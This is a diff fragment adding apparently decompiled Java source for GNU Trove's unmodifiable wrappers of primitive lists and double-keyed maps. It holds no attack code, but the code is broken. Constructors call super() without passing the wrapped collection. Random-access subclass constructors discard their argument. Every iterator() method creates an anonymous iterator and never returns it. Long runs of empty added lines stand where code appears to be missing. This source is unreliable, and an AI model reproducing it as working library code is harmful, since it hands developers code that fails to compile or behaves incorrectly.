+    public void insert(int offset, long value) { throw new UnsupportedOperationException(); }
+    public void insert(int offset, long[] values) { throw new UnsupportedOperationException(); }
+    public void insert(int offset, long[] values, int valOffset, int len) { throw new UnsupportedOperationException(); }
+    
+    public void set(int offset, long val) { throw new UnsupportedOperationException(); }
+    public void set(int offset, long[] values) { throw new UnsupportedOperationException(); }
+    public void set(int offset, long[] values, int valOffset, int length) { throw new UnsupportedOperationException(); }
+    
+    public long replace(int offset, long val) { throw new UnsupportedOperationException(); }
+    
+    public void transformValues(gnu.trove.function.TLongFunction function) { throw new UnsupportedOperationException(); }
+    
+    public void reverse() { throw new UnsupportedOperationException(); }
+    public void reverse(int from, int to) { throw new UnsupportedOperationException(); }
+    public void shuffle(java.util.Random rand) { throw new UnsupportedOperationException(); }
+    
+    public void sort() { throw new UnsupportedOperationException(); }
+    public void sort(int fromIndex, int toIndex) { throw new UnsupportedOperationException(); }
+    public void fill(long val) { throw new UnsupportedOperationException(); }
+    public void fill(int fromIndex, int toIndex, long val) { throw new UnsupportedOperationException(); }
+  }
+  
+  public static class TUnmodifiableRandomAccessLongList extends TUnmodifiableCollections.TUnmodifiableLongList implements java.util.RandomAccess
+  {
+    private static final long serialVersionUID = -2542308836966382001L;
+    
+    public TUnmodifiableRandomAccessLongList(TLongList list) {
+      super();
+    }
+    
+    public TLongList subList(int fromIndex, int toIndex) { return new TUnmodifiableRandomAccessLongList(list.subList(fromIndex, toIndex)); }
+    
+
+
+
+
+
+
+
+
+    private Object writeReplace()
+    {
+      return new TUnmodifiableCollections.TUnmodifiableLongList(list);
+    }
+  }
+  
+  public static class TUnmodifiableByteList
+    extends TUnmodifiableCollections.TUnmodifiableByteCollection
+    implements TByteList
+  {
+    static final long serialVersionUID = -283967356065247728L;
+    final TByteList list;
+    
+    public TUnmodifiableByteList(TByteList list)
+    {
+      super();
+      this.list = list;
+    }
+    
+    public boolean equals(Object o) { return (o == this) || (list.equals(o)); }
+    public int hashCode() { return list.hashCode(); }
+    
+    public byte get(int index) { return list.get(index); }
+    public int indexOf(byte o) { return list.indexOf(o); }
+    public int lastIndexOf(byte o) { return list.lastIndexOf(o); }
+    
+    public byte[] toArray(int offset, int len) {
+      return list.toArray(offset, len);
+    }
+    
+    public byte[] toArray(byte[] dest, int offset, int len) { return list.toArray(dest, offset, len); }
+    
+    public byte[] toArray(byte[] dest, int source_pos, int dest_pos, int len) {
+      return list.toArray(dest, source_pos, dest_pos, len);
+    }
+    
+    public boolean forEachDescending(TByteProcedure procedure) {
+      return list.forEachDescending(procedure);
+    }
+    
+    public int binarySearch(byte value) { return list.binarySearch(value); }
+    
+    public int binarySearch(byte value, int fromIndex, int toIndex) { return list.binarySearch(value, fromIndex, toIndex); }
+    
+
+    public int indexOf(int offset, byte value) { return list.indexOf(offset, value); }
+    public int lastIndexOf(int offset, byte value) { return list.lastIndexOf(offset, value); }
+    public TByteList grep(TByteProcedure condition) { return list.grep(condition); }
+    public TByteList inverseGrep(TByteProcedure condition) { return list.inverseGrep(condition); }
+    
+    public byte max() { return list.max(); }
+    public byte min() { return list.min(); }
+    
+    public TByteList subList(int fromIndex, int toIndex) {
+      return new TUnmodifiableByteList(list.subList(fromIndex, toIndex));
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    private Object readResolve()
+    {
+      return (list instanceof java.util.RandomAccess) ? new TUnmodifiableCollections.TUnmodifiableRandomAccessByteList(list) : this;
+    }
+    
+
+
+    public void add(byte[] vals) { throw new UnsupportedOperationException(); }
+    public void add(byte[] vals, int offset, int length) { throw new UnsupportedOperationException(); }
+    
+    public byte removeAt(int offset) { throw new UnsupportedOperationException(); }
+    public void remove(int offset, int length) { throw new UnsupportedOperationException(); }
+    
+    public void insert(int offset, byte value) { throw new UnsupportedOperationException(); }
+    public void insert(int offset, byte[] values) { throw new UnsupportedOperationException(); }
+    public void insert(int offset, byte[] values, int valOffset, int len) { throw new UnsupportedOperationException(); }
+    
+    public void set(int offset, byte val) { throw new UnsupportedOperationException(); }
+    public void set(int offset, byte[] values) { throw new UnsupportedOperationException(); }
+    public void set(int offset, byte[] values, int valOffset, int length) { throw new UnsupportedOperationException(); }
+    
+    public byte replace(int offset, byte val) { throw new UnsupportedOperationException(); }
+    
+    public void transformValues(gnu.trove.function.TByteFunction function) { throw new UnsupportedOperationException(); }
+    
+    public void reverse() { throw new UnsupportedOperationException(); }
+    public void reverse(int from, int to) { throw new UnsupportedOperationException(); }
+    public void shuffle(java.util.Random rand) { throw new UnsupportedOperationException(); }
+    
+    public void sort() { throw new UnsupportedOperationException(); }
+    public void sort(int fromIndex, int toIndex) { throw new UnsupportedOperationException(); }
+    public void fill(byte val) { throw new UnsupportedOperationException(); }
+    public void fill(int fromIndex, int toIndex, byte val) { throw new UnsupportedOperationException(); }
+  }
+  
+  public static class TUnmodifiableRandomAccessByteList extends TUnmodifiableCollections.TUnmodifiableByteList implements java.util.RandomAccess
+  {
+    private static final long serialVersionUID = -2542308836966382001L;
+    
+    public TUnmodifiableRandomAccessByteList(TByteList list) {
+      super();
+    }
+    
+    public TByteList subList(int fromIndex, int toIndex) { return new TUnmodifiableRandomAccessByteList(list.subList(fromIndex, toIndex)); }
+    
+
+
+
+
+
+
+
+
+    private Object writeReplace()
+    {
+      return new TUnmodifiableCollections.TUnmodifiableByteList(list);
+    }
+  }
+  
+  public static class TUnmodifiableShortList
+    extends TUnmodifiableCollections.TUnmodifiableShortCollection
+    implements TShortList
+  {
+    static final long serialVersionUID = -283967356065247728L;
+    final TShortList list;
+    
+    public TUnmodifiableShortList(TShortList list)
+    {
+      super();
+      this.list = list;
+    }
+    
+    public boolean equals(Object o) { return (o == this) || (list.equals(o)); }
+    public int hashCode() { return list.hashCode(); }
+    
+    public short get(int index) { return list.get(index); }
+    public int indexOf(short o) { return list.indexOf(o); }
+    public int lastIndexOf(short o) { return list.lastIndexOf(o); }
+    
+    public short[] toArray(int offset, int len) {
+      return list.toArray(offset, len);
+    }
+    
+    public short[] toArray(short[] dest, int offset, int len) { return list.toArray(dest, offset, len); }
+    
+    public short[] toArray(short[] dest, int source_pos, int dest_pos, int len) {
+      return list.toArray(dest, source_pos, dest_pos, len);
+    }
+    
+    public boolean forEachDescending(TShortProcedure procedure) {
+      return list.forEachDescending(procedure);
+    }
+    
+    public int binarySearch(short value) { return list.binarySearch(value); }
+    
+    public int binarySearch(short value, int fromIndex, int toIndex) { return list.binarySearch(value, fromIndex, toIndex); }
+    
+
+    public int indexOf(int offset, short value) { return list.indexOf(offset, value); }
+    public int lastIndexOf(int offset, short value) { return list.lastIndexOf(offset, value); }
+    public TShortList grep(TShortProcedure condition) { return list.grep(condition); }
+    public TShortList inverseGrep(TShortProcedure condition) { return list.inverseGrep(condition); }
+    
+    public short max() { return list.max(); }
+    public short min() { return list.min(); }
+    
+    public TShortList subList(int fromIndex, int toIndex) {
+      return new TUnmodifiableShortList(list.subList(fromIndex, toIndex));
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    private Object readResolve()
+    {
+      return (list instanceof java.util.RandomAccess) ? new TUnmodifiableCollections.TUnmodifiableRandomAccessShortList(list) : this;
+    }
+    
+
+
+    public void add(short[] vals) { throw new UnsupportedOperationException(); }
+    public void add(short[] vals, int offset, int length) { throw new UnsupportedOperationException(); }
+    
+    public short removeAt(int offset) { throw new UnsupportedOperationException(); }
+    public void remove(int offset, int length) { throw new UnsupportedOperationException(); }
+    
+    public void insert(int offset, short value) { throw new UnsupportedOperationException(); }
+    public void insert(int offset, short[] values) { throw new UnsupportedOperationException(); }
+    public void insert(int offset, short[] values, int valOffset, int len) { throw new UnsupportedOperationException(); }
+    
+    public void set(int offset, short val) { throw new UnsupportedOperationException(); }
+    public void set(int offset, short[] values) { throw new UnsupportedOperationException(); }
+    public void set(int offset, short[] values, int valOffset, int length) { throw new UnsupportedOperationException(); }
+    
+    public short replace(int offset, short val) { throw new UnsupportedOperationException(); }
+    
+    public void transformValues(gnu.trove.function.TShortFunction function) { throw new UnsupportedOperationException(); }
+    
+    public void reverse() { throw new UnsupportedOperationException(); }
+    public void reverse(int from, int to) { throw new UnsupportedOperationException(); }
+    public void shuffle(java.util.Random rand) { throw new UnsupportedOperationException(); }
+    
+    public void sort() { throw new UnsupportedOperationException(); }
+    public void sort(int fromIndex, int toIndex) { throw new UnsupportedOperationException(); }
+    public void fill(short val) { throw new UnsupportedOperationException(); }
+    public void fill(int fromIndex, int toIndex, short val) { throw new UnsupportedOperationException(); }
+  }
+  
+  public static class TUnmodifiableRandomAccessShortList extends TUnmodifiableCollections.TUnmodifiableShortList implements java.util.RandomAccess
+  {
+    private static final long serialVersionUID = -2542308836966382001L;
+    
+    public TUnmodifiableRandomAccessShortList(TShortList list) {
+      super();
+    }
+    
+    public TShortList subList(int fromIndex, int toIndex) { return new TUnmodifiableRandomAccessShortList(list.subList(fromIndex, toIndex)); }
+    
+
+
+
+
+
+
+
+
+    private Object writeReplace()
+    {
+      return new TUnmodifiableCollections.TUnmodifiableShortList(list);
+    }
+  }
+  
+  public static class TUnmodifiableCharList
+    extends TUnmodifiableCollections.TUnmodifiableCharCollection
+    implements TCharList
+  {
+    static final long serialVersionUID = -283967356065247728L;
+    final TCharList list;
+    
+    public TUnmodifiableCharList(TCharList list)
+    {
+      super();
+      this.list = list;
+    }
+    
+    public boolean equals(Object o) { return (o == this) || (list.equals(o)); }
+    public int hashCode() { return list.hashCode(); }
+    
+    public char get(int index) { return list.get(index); }
+    public int indexOf(char o) { return list.indexOf(o); }
+    public int lastIndexOf(char o) { return list.lastIndexOf(o); }
+    
+    public char[] toArray(int offset, int len) {
+      return list.toArray(offset, len);
+    }
+    
+    public char[] toArray(char[] dest, int offset, int len) { return list.toArray(dest, offset, len); }
+    
+    public char[] toArray(char[] dest, int source_pos, int dest_pos, int len) {
+      return list.toArray(dest, source_pos, dest_pos, len);
+    }
+    
+    public boolean forEachDescending(TCharProcedure procedure) {
+      return list.forEachDescending(procedure);
+    }
+    
+    public int binarySearch(char value) { return list.binarySearch(value); }
+    
+    public int binarySearch(char value, int fromIndex, int toIndex) { return list.binarySearch(value, fromIndex, toIndex); }
+    
+
+    public int indexOf(int offset, char value) { return list.indexOf(offset, value); }
+    public int lastIndexOf(int offset, char value) { return list.lastIndexOf(offset, value); }
+    public TCharList grep(TCharProcedure condition) { return list.grep(condition); }
+    public TCharList inverseGrep(TCharProcedure condition) { return list.inverseGrep(condition); }
+    
+    public char max() { return list.max(); }
+    public char min() { return list.min(); }
+    
+    public TCharList subList(int fromIndex, int toIndex) {
+      return new TUnmodifiableCharList(list.subList(fromIndex, toIndex));
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    private Object readResolve()
+    {
+      return (list instanceof java.util.RandomAccess) ? new TUnmodifiableCollections.TUnmodifiableRandomAccessCharList(list) : this;
+    }
+    
+
+
+    public void add(char[] vals) { throw new UnsupportedOperationException(); }
+    public void add(char[] vals, int offset, int length) { throw new UnsupportedOperationException(); }
+    
+    public char removeAt(int offset) { throw new UnsupportedOperationException(); }
+    public void remove(int offset, int length) { throw new UnsupportedOperationException(); }
+    
+    public void insert(int offset, char value) { throw new UnsupportedOperationException(); }
+    public void insert(int offset, char[] values) { throw new UnsupportedOperationException(); }
+    public void insert(int offset, char[] values, int valOffset, int len) { throw new UnsupportedOperationException(); }
+    
+    public void set(int offset, char val) { throw new UnsupportedOperationException(); }
+    public void set(int offset, char[] values) { throw new UnsupportedOperationException(); }
+    public void set(int offset, char[] values, int valOffset, int length) { throw new UnsupportedOperationException(); }
+    
+    public char replace(int offset, char val) { throw new UnsupportedOperationException(); }
+    
+    public void transformValues(gnu.trove.function.TCharFunction function) { throw new UnsupportedOperationException(); }
+    
+    public void reverse() { throw new UnsupportedOperationException(); }
+    public void reverse(int from, int to) { throw new UnsupportedOperationException(); }
+    public void shuffle(java.util.Random rand) { throw new UnsupportedOperationException(); }
+    
+    public void sort() { throw new UnsupportedOperationException(); }
+    public void sort(int fromIndex, int toIndex) { throw new UnsupportedOperationException(); }
+    public void fill(char val) { throw new UnsupportedOperationException(); }
+    public void fill(int fromIndex, int toIndex, char val) { throw new UnsupportedOperationException(); }
+  }
+  
+  public static class TUnmodifiableRandomAccessCharList extends TUnmodifiableCollections.TUnmodifiableCharList implements java.util.RandomAccess
+  {
+    private static final long serialVersionUID = -2542308836966382001L;
+    
+    public TUnmodifiableRandomAccessCharList(TCharList list) {
+      super();
+    }
+    
+    public TCharList subList(int fromIndex, int toIndex) { return new TUnmodifiableRandomAccessCharList(list.subList(fromIndex, toIndex)); }
+    
+
+
+
+
+
+
+
+
+    private Object writeReplace()
+    {
+      return new TUnmodifiableCollections.TUnmodifiableCharList(list);
+    }
+  }
+  
+
+  public static class TUnmodifiableDoubleDoubleMap
+    implements TDoubleDoubleMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final TDoubleDoubleMap m;
+    
+
+    public TUnmodifiableDoubleDoubleMap(TDoubleDoubleMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(double key) { return m.containsKey(key); }
+    public boolean containsValue(double val) { return m.containsValue(val); }
+    public double get(double key) { return m.get(key); }
+    
+    public double put(double key, double value) { throw new UnsupportedOperationException(); }
+    public double remove(double key) { throw new UnsupportedOperationException(); }
+    public void putAll(TDoubleDoubleMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Double, ? extends Double> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TDoubleSet keySet = null;
+    private transient TDoubleCollection values = null;
+    
+    public gnu.trove.set.TDoubleSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public double[] keys() { return m.keys(); }
+    public double[] keys(double[] array) { return m.keys(array); }
+    
+    public TDoubleCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public double[] values() { return m.values(); }
+    public double[] values(double[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public double getNoEntryKey() { return m.getNoEntryKey(); }
+    public double getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TDoubleProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TDoubleProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TDoubleDoubleProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TDoubleDoubleIterator iterator() {
+      new gnu.trove.iterator.TDoubleDoubleIterator() {
+        gnu.trove.iterator.TDoubleDoubleIterator iter = m.iterator();
+        
+        public double key() { return iter.key(); }
+        public double value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public double setValue(double val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public double putIfAbsent(double key, double value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TDoubleFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TDoubleDoubleProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(double key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(double key, double amount) { throw new UnsupportedOperationException(); }
+    public double adjustOrPutValue(double key, double adjust_amount, double put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableDoubleFloatMap
+    implements TDoubleFloatMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final TDoubleFloatMap m;
+    
+    public TUnmodifiableDoubleFloatMap(TDoubleFloatMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(double key) { return m.containsKey(key); }
+    public boolean containsValue(float val) { return m.containsValue(val); }
+    public float get(double key) { return m.get(key); }
+    
+    public float put(double key, float value) { throw new UnsupportedOperationException(); }
+    public float remove(double key) { throw new UnsupportedOperationException(); }
+    public void putAll(TDoubleFloatMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Double, ? extends Float> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TDoubleSet keySet = null;
+    private transient TFloatCollection values = null;
+    
+    public gnu.trove.set.TDoubleSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public double[] keys() { return m.keys(); }
+    public double[] keys(double[] array) { return m.keys(array); }
+    
+    public TFloatCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public float[] values() { return m.values(); }
+    public float[] values(float[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public double getNoEntryKey() { return m.getNoEntryKey(); }
+    public float getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TDoubleProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TFloatProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TDoubleFloatProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TDoubleFloatIterator iterator() {
+      new gnu.trove.iterator.TDoubleFloatIterator() {
+        gnu.trove.iterator.TDoubleFloatIterator iter = m.iterator();
+        
+        public double key() { return iter.key(); }
+        public float value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public float setValue(float val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public float putIfAbsent(double key, float value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TFloatFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TDoubleFloatProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(double key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(double key, float amount) { throw new UnsupportedOperationException(); }
+    public float adjustOrPutValue(double key, float adjust_amount, float put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableDoubleIntMap
+    implements TDoubleIntMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final TDoubleIntMap m;
+    
+    public TUnmodifiableDoubleIntMap(TDoubleIntMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(double key) { return m.containsKey(key); }
+    public boolean containsValue(int val) { return m.containsValue(val); }
+    public int get(double key) { return m.get(key); }
+    
+    public int put(double key, int value) { throw new UnsupportedOperationException(); }
+    public int remove(double key) { throw new UnsupportedOperationException(); }
+    public void putAll(TDoubleIntMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Double, ? extends Integer> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TDoubleSet keySet = null;
+    private transient TIntCollection values = null;
+    
+    public gnu.trove.set.TDoubleSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public double[] keys() { return m.keys(); }
+    public double[] keys(double[] array) { return m.keys(array); }
+    
+    public TIntCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public int[] values() { return m.values(); }
+    public int[] values(int[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public double getNoEntryKey() { return m.getNoEntryKey(); }
+    public int getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TDoubleProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TIntProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TDoubleIntProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TDoubleIntIterator iterator() {
+      new gnu.trove.iterator.TDoubleIntIterator() {
+        gnu.trove.iterator.TDoubleIntIterator iter = m.iterator();
+        
+        public double key() { return iter.key(); }
+        public int value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public int setValue(int val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public int putIfAbsent(double key, int value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TIntFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TDoubleIntProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(double key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(double key, int amount) { throw new UnsupportedOperationException(); }
+    public int adjustOrPutValue(double key, int adjust_amount, int put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableDoubleLongMap
+    implements gnu.trove.map.TDoubleLongMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final gnu.trove.map.TDoubleLongMap m;
+    
+    public TUnmodifiableDoubleLongMap(gnu.trove.map.TDoubleLongMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(double key) { return m.containsKey(key); }
+    public boolean containsValue(long val) { return m.containsValue(val); }
+    public long get(double key) { return m.get(key); }
+    
+    public long put(double key, long value) { throw new UnsupportedOperationException(); }
+    public long remove(double key) { throw new UnsupportedOperationException(); }
+    public void putAll(gnu.trove.map.TDoubleLongMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Double, ? extends Long> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TDoubleSet keySet = null;
+    private transient TLongCollection values = null;
+    
+    public gnu.trove.set.TDoubleSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public double[] keys() { return m.keys(); }
+    public double[] keys(double[] array) { return m.keys(array); }
+    
+    public TLongCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public long[] values() { return m.values(); }
+    public long[] values(long[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public double getNoEntryKey() { return m.getNoEntryKey(); }
+    public long getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TDoubleProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TLongProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TDoubleLongProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TDoubleLongIterator iterator() {
+      new gnu.trove.iterator.TDoubleLongIterator() {
+        gnu.trove.iterator.TDoubleLongIterator iter = m.iterator();
+        
+        public double key() { return iter.key(); }
+        public long value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public long setValue(long val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public long putIfAbsent(double key, long value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TLongFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TDoubleLongProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(double key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(double key, long amount) { throw new UnsupportedOperationException(); }
+    public long adjustOrPutValue(double key, long adjust_amount, long put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableDoubleByteMap
+    implements TDoubleByteMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final TDoubleByteMap m;
+    
+    public TUnmodifiableDoubleByteMap(TDoubleByteMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(double key) { return m.containsKey(key); }
+    public boolean containsValue(byte val) { return m.containsValue(val); }
+    public byte get(double key) { return m.get(key); }
+    
+    public byte put(double key, byte value) { throw new UnsupportedOperationException(); }
+    public byte remove(double key) { throw new UnsupportedOperationException(); }
+    public void putAll(TDoubleByteMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Double, ? extends Byte> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TDoubleSet keySet = null;
+    private transient TByteCollection values = null;
+    
+    public gnu.trove.set.TDoubleSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public double[] keys() { return m.keys(); }
+    public double[] keys(double[] array) { return m.keys(array); }
+    
+    public TByteCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public byte[] values() { return m.values(); }
+    public byte[] values(byte[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public double getNoEntryKey() { return m.getNoEntryKey(); }
+    public byte getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TDoubleProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TByteProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TDoubleByteProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TDoubleByteIterator iterator() {
+      new gnu.trove.iterator.TDoubleByteIterator() {
+        gnu.trove.iterator.TDoubleByteIterator iter = m.iterator();
+        
+        public double key() { return iter.key(); }
+        public byte value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public byte setValue(byte val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public byte putIfAbsent(double key, byte value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TByteFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TDoubleByteProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(double key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(double key, byte amount) { throw new UnsupportedOperationException(); }
+    public byte adjustOrPutValue(double key, byte adjust_amount, byte put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableDoubleShortMap
+    implements gnu.trove.map.TDoubleShortMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final gnu.trove.map.TDoubleShortMap m;
+    
+    public TUnmodifiableDoubleShortMap(gnu.trove.map.TDoubleShortMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(double key) { return m.containsKey(key); }
+    public boolean containsValue(short val) { return m.containsValue(val); }
+    public short get(double key) { return m.get(key); }
+    
+    public short put(double key, short value) { throw new UnsupportedOperationException(); }
+    public short remove(double key) { throw new UnsupportedOperationException(); }
+    public void putAll(gnu.trove.map.TDoubleShortMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Double, ? extends Short> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TDoubleSet keySet = null;
+    private transient TShortCollection values = null;
+    
+    public gnu.trove.set.TDoubleSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public double[] keys() { return m.keys(); }
+    public double[] keys(double[] array) { return m.keys(array); }
+    
+    public TShortCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public short[] values() { return m.values(); }
+    public short[] values(short[] array) { return m.values(array); }
+    
